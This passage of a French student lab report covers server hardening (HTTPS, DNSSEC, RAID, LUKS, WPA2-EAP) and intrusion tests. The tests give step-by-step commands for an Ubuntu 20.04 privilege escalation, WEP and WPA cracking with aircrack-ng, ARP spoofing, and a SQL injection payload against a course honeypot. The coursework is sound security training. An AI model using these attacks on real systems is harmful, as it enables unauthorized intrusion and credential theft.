 a2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Pour réaliser la configuration, nous modifions le fichier 000-default.conf. situé dans le répertoire  /etc/apache2/sites-enabled. Nous modifions le VirutalHost dédié au HTTP (port 80) et le VirtualHost dédié au HTTPS (port 443):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
  ServerAdmin admin@piedbleu.site&lt;br /&gt;
  DocumentRoot /var/www/html&lt;br /&gt;
  ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
  CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  Redirect permanent / https://www.piedbleu.site/&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.181:443&amp;gt;&lt;br /&gt;
  ServerName piedbleu.site&lt;br /&gt;
  ServerAlias www.piedbleu.site&lt;br /&gt;
  DocumentRoot /var/www/html&lt;br /&gt;
  CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
  SSLEngine on&lt;br /&gt;
  SSLCertificateFile /etc/ssl/piedbleu.site.crt&lt;br /&gt;
  SSLCertificateKeyFile /etc/ssl/piedbleu.site.key&lt;br /&gt;
  SSLCACertificateFile /etc/ssl/GandiStandardSSLCA2.pemSSLVerifyClient None&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La commande : &lt;br /&gt;
 apachect1 configtest &lt;br /&gt;
nous indique bien que la syntaxe est correcte.&lt;br /&gt;
&lt;br /&gt;
Nous devons aussi modifier la configuration de notre DNS (fichier db.piedbleu.site), en rajoutant un enregistrement de type A (address) :&lt;br /&gt;
&lt;br /&gt;
 www	IN	A	193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Pour que les modifications soient prises en compte, nous redémarrons apache2:&lt;br /&gt;
&lt;br /&gt;
 service apache2 restart&lt;br /&gt;
&lt;br /&gt;
==Sécurisation du serveur DNS par DNSSEC==&lt;br /&gt;
&lt;br /&gt;
Nous commençons tout d'abord par activer DNSSEC en ajoutant dans le fichier /etc/bind/named.conf.options l'option:&lt;br /&gt;
 dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Nous souhaitons ensuite générer deux couples de clefs qui serviront pour le chiffrement. Avant cela, nous créons un dossier piedbleu.site.dnssec où seront stockées ces clefs.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par générer le couple de clefs asymétrique de signature de clefs de zone:&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Nous générons ensuite le couple de clefs asymétrique de la zone pour signer les enregistrements:&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Nous renommons les deux paires de clefs obtenues de la manière suivante:&lt;br /&gt;
 Kpiedbleu.site.+005+09001.key -&amp;gt; piedbleu.site-ksk.key &lt;br /&gt;
 Kpiedbleu.site.+005+09001.private -&amp;gt; piedbleu.site-ksk.private&lt;br /&gt;
 Kpiedbleu.site.+005+22902.key -&amp;gt; piedbleu.site-zsk.key&lt;br /&gt;
 Kpiedbleu.site.+005+22902.private -&amp;gt; piedbleu.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
Nous incluons ensuite les deux clefs publiques dans notre fichier de zone:&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/piedbleu.site.dnssec/piedbleu.site-ksk.key&lt;br /&gt;
 $include /etc/bind/piedbleu.site.dnssec/piedbleu.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Nous n’oublions pas d'incrémenter le numéro version pour que les modifications soient prises en compte.&lt;br /&gt;
&lt;br /&gt;
On signe ensuite les enregistrements de la zone : &lt;br /&gt;
 dnssec-signzone -o piedbleu.site -k piedbleu.site-ksk ../db.piedbleu.site piedbleu.site-zsk&lt;br /&gt;
&lt;br /&gt;
Pour que le fichier signé soit pris en compte, nous modifions le fichier /etc/bind/named.conf.local pour utiliser la zone signée de suffixe .signed :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;piedbleu.site&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.piedbleu.site.signed&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La dernière étape consiste à faire communiquer la partie publique de la KSK qui est présente dans le fichier piedbleu.site-ksk.key à Gandi.&lt;br /&gt;
&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Vérification:&lt;br /&gt;
&lt;br /&gt;
Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/&lt;br /&gt;
&lt;br /&gt;
[[Fichier:dnssec1.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
L'utilisation de la commande : &lt;br /&gt;
 dnssec-verify -o piedbleu.site db.piedbleu.site.signed&lt;br /&gt;
&lt;br /&gt;
nous donne le résultat suivant:&lt;br /&gt;
 Loading zone 'piedbleu.site' from file 'db.piedbleu.site.signed'&lt;br /&gt;
 Verifying the zone using the following algorithms: RSASHA1.&lt;br /&gt;
 Zone fully signed:&lt;br /&gt;
 Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
                     ZSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
&lt;br /&gt;
==IPv6==&lt;br /&gt;
&lt;br /&gt;
Afin de pouvoir accéder à notre serveur via IPv6, on ajoute ces lignes dans /etc/bind/db.piedbleu.site&lt;br /&gt;
&lt;br /&gt;
 ns1     IN      AAAA    2001:660:4401:60b2:216:3eff:fefe:c26c&lt;br /&gt;
 www     IN      AAAA    2001:660:4401:60b2:216:3eff:fefe:c26c&lt;br /&gt;
&lt;br /&gt;
Ensuite, on resigne le DNS : &lt;br /&gt;
&lt;br /&gt;
 dnssec-signzone -o piedbleu.site -k piedbleu.site-ksk ../db.piedbleu.site piedbleu.site-zsk&lt;br /&gt;
&lt;br /&gt;
Et on redémarre bind9.&lt;br /&gt;
&lt;br /&gt;
=Tests d’intrusion=&lt;br /&gt;
&lt;br /&gt;
==Exploitation de failles du système : Ubuntu 20.04 en *exclusivité* ==&lt;br /&gt;
&lt;br /&gt;
Plutôt que d'utiliser un ancien noyau Linux et des outils comme Metasploit, je vous propose en  &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt; '''exclusivité dans le département IMA''' &amp;lt;/span&amp;gt; l'exploitation de plusieurs vulnérabilités dans la dernière version de Ubuntu, la 20.04.1, kernel 5.6. Ces exploits ont été publiés le 10/11/2020 et aujourd'hui, à l'heure où j'écris ces lignes nous sommes le 11/11/2020. En ce jour férié, en parcourant l'actualité IT, j'ai aperçu un article fort intéressant, que je vais reprendre ici pour obtenir les droits administrateurs sur une machine Linux.&lt;br /&gt;
&lt;br /&gt;
1) J'installe Ubuntu 20.04 dans une VM.&lt;br /&gt;
&lt;br /&gt;
2) Par défaut la session fait partie du groupe sudo, je fais donc un compte utilisateur standard pour mener à bien mon exploit, sinon c'est de la triche...&lt;br /&gt;
&lt;br /&gt;
 sudo adduser u1&lt;br /&gt;
 su u1&lt;br /&gt;
 id&lt;br /&gt;
   uid=1001(u1) gid=1001(u1) groupes=1001(u1)&lt;br /&gt;
&lt;br /&gt;
3) On fait un DOS (denial of service) sur accounts-daemon, pour ce faire on fait d'abord le lien symbolique suivant : &lt;br /&gt;
&lt;br /&gt;
 ln -s /dev/zero ~/.pam_environment&lt;br /&gt;
&lt;br /&gt;
Puis on va dans Settings &amp;gt; Region and Language &amp;gt; Language, et on change de langue. On se rend vite compte que le CPU tourne à 100%. En faisant la commande : &lt;br /&gt;
&lt;br /&gt;
 top&lt;br /&gt;
&lt;br /&gt;
On se rend compte que accounts-daemon utilise presque toutes les ressources CPU. On récupère son PID, puis on lui envoie le signal SIGSTOP.&lt;br /&gt;
&lt;br /&gt;
 kill -SIGSTOP 1098&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut supprimer le lien symbolique qui a causé le DOS pour ne pas que l'exploit se relance à chaque nouvelle session.&lt;br /&gt;
&lt;br /&gt;
 rm ~/.pam_environment&lt;br /&gt;
&lt;br /&gt;
Ici on va faire crasher le accounts-daemon, mais seulement une fois que l'on s'est déconnecté, on lance donc cette tâche en arrière-plan après 10 secondes. &lt;br /&gt;
 &lt;br /&gt;
 nohup bash -c &amp;quot;sleep 10s; kill -SIGSEGV 1098; kill -SIGCONT 1098&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On se déconnecte de notre session.&lt;br /&gt;
&lt;br /&gt;
Le menu &amp;quot;Welcome&amp;quot; de Ubuntu apparaît après quelques temps d'attente !! C'est le menu d'installation de Ubuntu qui est censé venir seulement la 1ere fois que l'on installe l'OS sur notre machine. On va donc être en mesure de configurer une nouvelle session qui aura les droits administrateurs sur la machine (et ce, sans supprimer les autres comptes). Un nouvel utilisateur apparaît sur la machine ! &lt;br /&gt;
&lt;br /&gt;
 whoami&lt;br /&gt;
   pwn&lt;br /&gt;
 id&lt;br /&gt;
   uid=1002(pwn) gid=1002(pwn) groupes=1002(pwn), 27(sudo)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Explication : '''&lt;br /&gt;
&lt;br /&gt;
En changeant la langue dans &amp;quot;Region and Language&amp;quot;, le programme accountsservice daemon (accounts-daemon) va lire le fichier .pam_environment situé dans le home. Cependant nous avons fait un lien symbolique malicieux pointant sur /dev/zero. Le programme va donc tourner en boucle infini car il n'arrivera jamais à finir de lire /dev/zero.&lt;br /&gt;
&lt;br /&gt;
La deuxième faille réside dans le fait que accounts-daemon abaisse ses privilèges root en privilège standard seulement quand il lit le .pam_environment. Or il est enfermé dans une boucle infini grâce à notre lien malicieux. On va donc pouvoir lui envoyer les signaux SIGSTOP, SIGSEGV, SIGCONT sans avoir de droit root. En fait à la base l'abaissement de privilège est une protection pour empêcher de lire dans /etc/shadow par exemple... &lt;br /&gt;
&lt;br /&gt;
Ensuite, on se déconnecte de notre session en lançant en arrière-plan le kill -SIGSEGV de accounts-daemon. Sauf que le gestionnaire de session gdm3 demande à accounts-daemon combien de session il y a afin de nous permettre de choisir laquelle on va utiliser pour se connecter. Accounts-daemon étant hors service, gdm3 va lire la valeur par défaut de priv-&amp;gt;have_existing_user_accounts, qui est : &amp;quot;false&amp;quot;. Gdm3 pense donc qu'il n'y a aucune session sur la machine et va lancer gnome-initial-setup.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Note 1 : ''' La faille semble avoir été rapidement patchée.&lt;br /&gt;
&lt;br /&gt;
'''Note 2 : ''' Les failles exploitées lors de l'élévation de privilège : &lt;br /&gt;
&lt;br /&gt;
accountsservice denial of service (GHSL-2020-187, GHSL-2020-188 / CVE-2020-16126, CVE-2020-16127)&lt;br /&gt;
&lt;br /&gt;
gdm3 privilege escalation due to unresponsive accounts-daemon (GHSL-2020-202 / CVE-2020-16125)&lt;br /&gt;
&lt;br /&gt;
'''Version du noyau et des parquets : '''&lt;br /&gt;
 Ubuntu 20.04.1 LTS, kernel 5.6&lt;br /&gt;
 gdm3, version 3.36.3-0ubuntu0.20.04.1&lt;br /&gt;
 accountsservice, version 0.6.55-0ubuntu12~20.04.1&lt;br /&gt;
&lt;br /&gt;
''' Source : ''' &lt;br /&gt;
&lt;br /&gt;
''How to get root on Ubuntu 20.04 by pretending nobody’s /home'', Kevin Backhouse, November 10 2020&lt;br /&gt;
&lt;br /&gt;
https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE&lt;br /&gt;
&lt;br /&gt;
==Cassage de clef WEP d’un point d’accès WiFi==&lt;br /&gt;
&lt;br /&gt;
Nous commençons tout d’abord par installer le paquet aircrack :&lt;br /&gt;
&lt;br /&gt;
 apt-get install aircrack-ng&lt;br /&gt;
&lt;br /&gt;
À partir de là, nous listons la liste des interfaces wifi disponibles : &lt;br /&gt;
&lt;br /&gt;
 airmon-ng&lt;br /&gt;
&lt;br /&gt;
[[Fichier:screen1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On remarque que notre carte wifi est désignée par le nom wlp1s0mon.&lt;br /&gt;
&lt;br /&gt;
Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours.&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
On peut ensuite lancer le scan des réseaux wifi environnants :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --encrypt wep wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On repère le point d’accès qui correspond au réseau wifi qui nous intéresse (cracotte 08). on récupère le bssid : 04:DA:D2:9C:50:57 , et le chanel : 3.&lt;br /&gt;
&lt;br /&gt;
On capture ensuite les paquets émis par le point  d’accès cible :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --write mon_fichier --channel 3 --bssid 04:DA:D2:9C:50:57 wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen3.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On se concentre sur l’indicateur #Data qui permet de savoir le nombre de paquets data collectés. Une fois que ce nombre atteint 30000, on lance dans un autre terminal le crack de la clé :&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -z mon_fichier-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen4.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On voit que le programme a réussi à trouver la clé (message « Key Found »).&lt;br /&gt;
&lt;br /&gt;
==Cassage de mot de passe WPA-PSK par force brute==&lt;br /&gt;
&lt;br /&gt;
Nous allons dans cette partie continuer à utiliser aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles (airmon-ng), puis on passe l'interface en mode monitor (airmon-ng start wlp1s0mon).&lt;br /&gt;
&lt;br /&gt;
On lance ensuite le scan des réseaux wifi WPA PSK environnants :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --encrypt wpa-psk wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:scankracotte.png || 600px]]&lt;br /&gt;
&lt;br /&gt;
Cette commande nous permet d'obtenir des informations supplémentaires sur les réseaux wifi, comme le BSSID, le Channel, l'AUTH (le mode d'authentification), ainsi que l'ESSID. &lt;br /&gt;
&lt;br /&gt;
Nous utilisons alors le BSSID ainsi que le Channel du réseau wifi kracotte03 avec la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng wlp1s0mon --bssid 00:14:1B:60:8C:22 --ch 3 -w capture&lt;br /&gt;
&lt;br /&gt;
Cette commande nous permet d'obtenir un handshake. Nous la laissons tourner en boucle jusqu'à ce que nous obtenions ce fameux handshake.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Handshake1.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
Maintenant que nous avons obtenu le handshake, nous allons faire une attaque par force brute. Pour cela, nous générons tout d'abord toutes les combinaisons possibles de mots de passe de taille 8, composés uniquement de chiffre. &lt;br /&gt;
&lt;br /&gt;
Pour construire ce dictionnaire, nous utilisons la commande crunch (que nous avons préalablement installée):&lt;br /&gt;
&lt;br /&gt;
 crunch 8 8 -o 12345678 &amp;gt; motdepasse.txt&lt;br /&gt;
&lt;br /&gt;
Nous spécifions ici la longueur minimum et maximum du mot de passe (8), les caractères à utiliser (012345678), puis nous effectuons une redirection vers motdepasse.txt.&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous effectuons l'attaque par force brute avec la commande suivante : &lt;br /&gt;
&lt;br /&gt;
 aircrak-ng -a2 -b 00:14:1B:60:8C:22 -w motdepasse.txt *.cap&lt;br /&gt;
&lt;br /&gt;
Comme la méthode force brute prend du temps, nous lançons l'attaque la nuit, en ssh sur notre zabeth. Quatre heures plus tard, nous obtenons le mot de passe de la kracotte : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:WPA-6.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on installe dsniff sur l'eepc. Ensuite on le transforme en routeur : &lt;br /&gt;
&lt;br /&gt;
 apt install dsniff&lt;br /&gt;
 export PATH=/sbin:/usr/sbin:$PATH&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance arpspoof pour placer l'eepc entre la zabeth et le routeur : &lt;br /&gt;
&lt;br /&gt;
 arpspoof -i enp4s0 -t 172.26.145.60 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Ensuite, on trouve une page HTTP avec un petit formulaire POST. La page n'étant pas sécurisé par TLS ou SSL, les données seront échangées en clair. On ouvre Wireshark dans l'eepc et dans la zabeth on se rend sur un site vulnérable (par exemple : http://fabricarium-old.polytech-lille.fr).&lt;br /&gt;
&lt;br /&gt;
En tentant de se connecter, on se rend compte que la requête POST a bien été transmise à l'eepc qui l'a redirigé vers le routeur : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Mitm-pra.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Intrusion sur un serveur d’application Web==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous nous rendons sur honey.plil.info. Nous apercevons un formulaire, que l'on exploite par injection SQL : &lt;br /&gt;
&lt;br /&gt;
 ' OR 1 = 1 --&lt;br /&gt;
&lt;br /&gt;
D'un autre côté nous effectuons un nmap sur le serveur afin d'avoir une idée des services que l'on pourra exploiter.&lt;br /&gt;
&lt;br /&gt;
 nmap -T4 -A honey.plil.info&lt;br /&gt;
&lt;br /&gt;
On obtient : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap-g8-2021 1.2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
Nous essayons de faire un ssh avec les id trouvés par injections SQL... sans succès.&lt;br /&gt;
&lt;br /&gt;
De retour sur le site honey.plil.info, nous remarquons la présence d'une seconde page avec formulaire : honey.plil.info/phpmyadmin. Mais nous n'avons pas le mot de passe. L'injection SQL ne semble pas fonctionner.&lt;br /&gt;
&lt;br /&gt;
De retour sur la 1ere page, on se connecte sur honey.plil.info avec les identifiants récupérés par injection SQL. En exploitant bien comme il faut les fonctionnalités du site, on arrive à récupérer le mot de passe de notre seconde page.&lt;br /&gt;
&lt;br /&gt;
On se connecte donc sur cette seconde page, et après quelques recherches dans la base de données, on retrouve un identifiant et un mot de passe.&lt;br /&gt;
&lt;br /&gt;
On utilise cette découverte pour se connecter sur le serveur en SSH.&lt;br /&gt;
&lt;br /&gt;
Cependant, cet utilisateur n'est pas root. Il peut néanmoins lire le fichier des mots de passe. On récupère ainsi le mot de passe haché de l'administrateur root.&lt;br /&gt;
&lt;br /&gt;
Pour avoir mot de passe en clair, on réalise une attaque par force brute avec dictionnaire.&lt;br /&gt;
&lt;br /&gt;
Nous construisons ce dictionnaire avec crunch en reprenant un indice donné dans l'énoncé.&lt;br /&gt;
&lt;br /&gt;
Quelques temps plus tard... John the Ripper nous donne le mot de passe root !&lt;br /&gt;
&lt;br /&gt;
Nous nous connectons sur le serveur en tant que root et nous y laissons la trace de notre passe &amp;quot;I_was_here_IMA_G8&amp;quot; : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Hack-honey.png|600px]]&lt;br /&gt;
&lt;br /&gt;
=Réalisations=&lt;br /&gt;
&lt;br /&gt;
==Sécurisation de données : RAID 5 logiciel==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on crée 3 partitions virtuelles : &lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n piedbleu-raid1 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg, puis on redémarre la VM pour réaliser les actions qui suivent.&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on installe le paquet mdadm.&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, on construit notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
On formate notre volume RAID.&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
On rajoute cette ligne dans le fstab : &lt;br /&gt;
   /dev/md0   /raid5   ext4   defaults   0   2&lt;br /&gt;
&lt;br /&gt;
Pour finir, on peuple notre volume RAID.&lt;br /&gt;
 mkdir /raid5&lt;br /&gt;
 mount -a&lt;br /&gt;
 touch /raid5/test&lt;br /&gt;
&lt;br /&gt;
RAID 5 : on doit avoir minimum 3 disques, mais on peut survivre seulement à la perte d'un seul disque.&lt;br /&gt;
On peut donc supprimer une partition et toujours avoir accès à nos fichiers.&lt;br /&gt;
&lt;br /&gt;
==Chiffrement de données==&lt;br /&gt;
&lt;br /&gt;
Pour chiffrer la partition de notre clé USB et pouvoir y écrire des fichiers, on exécute les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
 fdisk -l # on repère la clé USB&lt;br /&gt;
 fdisk /dev/sdb # on formate la clé en une seule partition&lt;br /&gt;
 cryptsetup luksFormat /dev/sdb1 # on chiffre l'unique partition de la clé USB&lt;br /&gt;
 cryptsetup luksOpen /dev/sdb1 myusbkey # on déchiffre la partition&lt;br /&gt;
 mkfs.ext4 /dev/mapper/myusbkey # on formatte la partition en EXT4&lt;br /&gt;
&lt;br /&gt;
Ensuite, on monte la clé USB, et on la peuple : &lt;br /&gt;
&lt;br /&gt;
 mkdir /mnt/USB &lt;br /&gt;
 mount -t ext4 /dev/mapper/myusbkey /mnt/USB&lt;br /&gt;
 touch /mnt/USB/mytestfile.txt&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on a fini, on démonte le système de fichier proprement : &lt;br /&gt;
&lt;br /&gt;
 umount /mnt/USB&lt;br /&gt;
 cryptsetup luksClose myusbkey&lt;br /&gt;
&lt;br /&gt;
==Sécurisation WiFi par WPA2-EAP ==&lt;br /&gt;
&lt;br /&gt;
===FreeRADIUS===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on configure le serveur FreeRADIUS sur notre VM.&lt;br /&gt;
&lt;br /&gt;
On installe le paquet :&lt;br /&gt;
 apt install freeradius&lt;br /&gt;
&lt;br /&gt;
Ensuite, on ajoute un périphérique client (point d'accès WiFi) dans le fichier /etc/freeradius/3.0/clients.conf :&lt;br /&gt;
&lt;br /&gt;
 client 10.60.100.10/24 {&lt;br /&gt;
 	shortname = Piedbleu&lt;br /&gt;
 	secret = pasglop&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
On ajoute un utilisateur FreeRADIUS &amp;quot;pifou&amp;quot; dans le fichier de configuration /etc/freeradius/3.0/users : &lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password := &amp;quot;pasglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Pour finir, on configure l'authentification PEAP-MSCHAPv2.&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/freeradius/3.0/mods-enabled/eap :&lt;br /&gt;
&lt;br /&gt;
 eap{&lt;br /&gt;
 ...&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
 ...&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Puis on modifie le fichier /etc/freeradius/3.0/mods-enabled/mschap : &lt;br /&gt;
&lt;br /&gt;
 use_mppe = yes&lt;br /&gt;
 require_encryption = yes&lt;br /&gt;
 require_strong = yes&lt;br /&gt;
 with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
===Point d'accès WiFi===&lt;br /&gt;
&lt;br /&gt;
Ensuite, on configure le point d'accès WiFi.&lt;br /&gt;
&lt;br /&gt;
 ssh root@10.60.100.10 -c aes128-cbc&lt;br /&gt;
&lt;br /&gt;
 aaa authentication login eap_group1 group radius_group8&lt;br /&gt;
 radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key pasglop&lt;br /&gt;
 aaa group server radius radius_group8&lt;br /&gt;
 server 193.48.57.181 auth-port 1812 acct-port 1813&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Mise en place du ssid 'Piedbleu' et intégration dans le vlan 308 : &lt;br /&gt;
&lt;br /&gt;
 dot11 ssid Piedbleu&lt;br /&gt;
 vlan 308&lt;br /&gt;
 authentication open eap eap_group8&lt;br /&gt;
 authentication network-eap eap_group8&lt;br /&gt;
 authentication key-management wpa&lt;br /&gt;
 Mbssid Guest-mode&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Liaison interface wifi dot11radio0 avec le vlan 308 et méthode encryption: &lt;br /&gt;
&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 Mbssid&lt;br /&gt;
 encryption vlan 308 mode ciphers aes-ccm tkip&lt;br /&gt;
 ssid Piedbleu&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Encapsulation: &lt;br /&gt;
&lt;br /&gt;
 int dot11radio0.8&lt;br /&gt;
 encapsulation dot1q 308&lt;br /&gt;
 bridge-group 8&lt;br /&gt;
 exit&lt;br /&gt;
 int Gi0.8&lt;br /&gt;
 encapsulation dot1q 308&lt;br /&gt;
 bridge-group 8&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
En n'oubliant pas de démarrer l'interface  :&lt;br /&gt;
&lt;br /&gt;
 int dot11radio0&lt;br /&gt;
 no shutdown&lt;br /&gt;
 end&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
Ping du point d'accès vers notre VM : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Freeradius-ping.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On observe notre SSID &amp;quot;Piedbleu&amp;quot; :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Freeradius-ssid.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On s'y connecte avec notre téléphone tout en lançant la commande : &lt;br /&gt;
&lt;br /&gt;
 freeradius -X&lt;br /&gt;
&lt;br /&gt;
===DHCP===&lt;br /&gt;
&lt;br /&gt;
'''6509E'''&lt;br /&gt;
&lt;br /&gt;
 ssh admin@100.64.0.1 -oKexAlgorithms=+diffie-hellman-group1-sha1 -c aes128-cbc&lt;br /&gt;
&lt;br /&gt;
 ip dhcp pool groupe8&lt;br /&gt;
 dns 193.48.57.181&lt;br /&gt;
 network 10.60.108.0 255.255.255.0&lt;br /&gt;
 default-router 10.60.108.1&lt;br /&gt;
 exit&lt;br /&gt;
 ip dhcp excluded-address 10.60.108.0 10.60.108.99&lt;br /&gt;
 ip dhcp excluded-address 10.60.108.150 10.60.108.255&lt;br /&gt;
 write&lt;br /&gt;
 exit&lt;br /&gt;
 sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
'''C9200'''&lt;br /&gt;
&lt;br /&gt;
 ssh admin@10.60.100.2&lt;br /&gt;
&lt;br /&gt;
 ip dhcp pool groupe8&lt;br /&gt;
 dns 193.48.57.181&lt;br /&gt;
 network 10.60.108.0 255.255.255.0&lt;br /&gt;
 default-router 10.60.108.2&lt;br /&gt;
 exit&lt;br /&gt;
 ip dhcp excluded-address 10.60.108.0 10.60.108.49&lt;br /&gt;
 ip dhcp excluded-address 10.60.108.100 10.60.108.255&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
 sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
===Mascarade===&lt;br /&gt;
&lt;br /&gt;
'''6509E'''&lt;br /&gt;
&lt;br /&gt;
 int vlan 308&lt;br /&gt;
 ip nat inside&lt;br /&gt;
&lt;br /&gt;
 access-list 108 permit ip 10.60.108.0 0.0.0.255 any&lt;br /&gt;
 ip nat inside source list 108 interface Loopback0 overload&lt;br /&gt;
&lt;br /&gt;
=Ferme de serveurs Web=&lt;br /&gt;
&lt;br /&gt;
==Architecture générale de la ferme==&lt;br /&gt;
&lt;br /&gt;
'''Configuration VM Capbreton'''&lt;br /&gt;
&lt;br /&gt;
Dans /etc/xen/capbreton.cfg, on ajoute une interface réseau : &lt;br /&gt;
&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, mac=00:16:3E:FE:C2:6C',&lt;br /&gt;
         'bridge=bridgeStudents, mac=00:16:3E:FE:C2:6D',&lt;br /&gt;
 ]&lt;br /&gt;
&lt;br /&gt;
On redémarre ensuite la VM.&lt;br /&gt;
&lt;br /&gt;
Dans /etc/network/interfaces, on configure notre nouvelle interface : &lt;br /&gt;
&lt;br /&gt;
 auto eth1&lt;br /&gt;
 iface eth1 inet static&lt;br /&gt;
   address 192.168.42.8 &lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Pour finir, dans /etc/apt/apt.conf.d/01proxy on commente la 1ère ligne.&lt;br /&gt;
&lt;br /&gt;
 #Acquire::http::Proxy &amp;quot;http://proxy.polytech-lille.fr:3128&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
'''Configuration VM Chassiron'''&lt;br /&gt;
&lt;br /&gt;
Dans /etc/network/interfaces, on configure notre interface : &lt;br /&gt;
&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
   address 192.168.42.22&lt;br /&gt;
   netmask 255.255.255.0 &lt;br /&gt;
   gateway 192.168.42.8&lt;br /&gt;
&lt;br /&gt;
